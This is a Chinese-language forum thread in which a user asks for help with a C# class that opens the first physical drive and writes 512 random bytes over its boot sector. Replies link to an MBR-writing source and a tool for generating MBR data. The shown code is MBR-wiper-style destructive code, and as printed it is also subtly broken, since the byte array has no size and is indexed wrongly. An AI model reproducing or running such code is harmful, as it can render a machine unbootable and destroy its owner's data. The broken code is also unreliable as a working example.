lizf2019 发表于 2021-8-12 09:56

【求助】C#写入引导区

本帖最后由 lizf2019 于 2021-8-12 09:58 编辑

源码(一个类):



```
class test
      {
            
            static extern IntPtr CreateFile(
            string FileName,
            uint DesiredAccess,
            uint ShareMode,
            IntPtr SecurityAttributes,
            uint CreationDisposition,
            int FlagsAndAttributes,
            IntPtr hTemplate
            );
            public const int FILE_FLAG_NO_BUFFERING = 0x20000000;
            public static void Main()
            {
                IntPtr handle = CreateFile(@"\\.\PHYSICALDRIVE0", 0x40000000 | 0x80000000, 0, IntPtr.Zero, 3, FILE_FLAG_NO_BUFFERING, IntPtr.Zero);
                Console.WriteLine(handle.ToString());
                FileStream disk = new FileStream(handle, FileAccess.ReadWrite);
                byte[] bt = new byte;
                Random rnd = new Random();
                rnd.NextBytes(bt);
                for (int i = 0; i < bt.Length; i++)
                {
                  Console.Write(bt.ToString("x2") + " ");
                }
                disk.Seek(0, SeekOrigin.Begin);
                try
                {
                  disk.Write(bt, 0, 512);
                }
                catch (Exception e)
                {
                  Console.WriteLine(e.Message);
                }
            }
      }
```
求助:
1.如何指定写入内容(好像要按Unicode编码)
2.如要写入引导区调用是否为test.main

huorongrong 发表于 2021-8-12 10:40

之前看到过这个写MBR的源码https://b23.tv/WgJEWo
至于写入内容好像是用字节集吧(我也不太清楚)

ps122 发表于 2021-8-12 11:28

huorongrong 发表于 2021-8-12 10:40
之前看到过这个写MBR的源码https://b23.tv/WgJEWo
至于写入内容好像是用字节集吧(我也不太清楚)

和楼主代码意思基本一样,引导区的数据能随便修改吗?

lizf2019 发表于 2021-8-12 15:04

huorongrong 发表于 2021-8-12 10:40
之前看到过这个写MBR的源码https://b23.tv/WgJEWo
至于写入内容好像是用字节集吧(我也不太清楚)

请问大佬呢512字节的数据在哪里体现了呢{:301_982:}

huorongrong 发表于 2021-8-12 21:30

lizf2019 发表于 2021-8-12 15:04
请问大佬呢512字节的数据在哪里体现了呢

之前收集的这个工具可以生成MBR的数据https://wwx.lanzoui.com/il0ipsk2b5g
我只是搬运{:301_999:}
页: [1]
查看完整版本: 【求助】C#写入引导区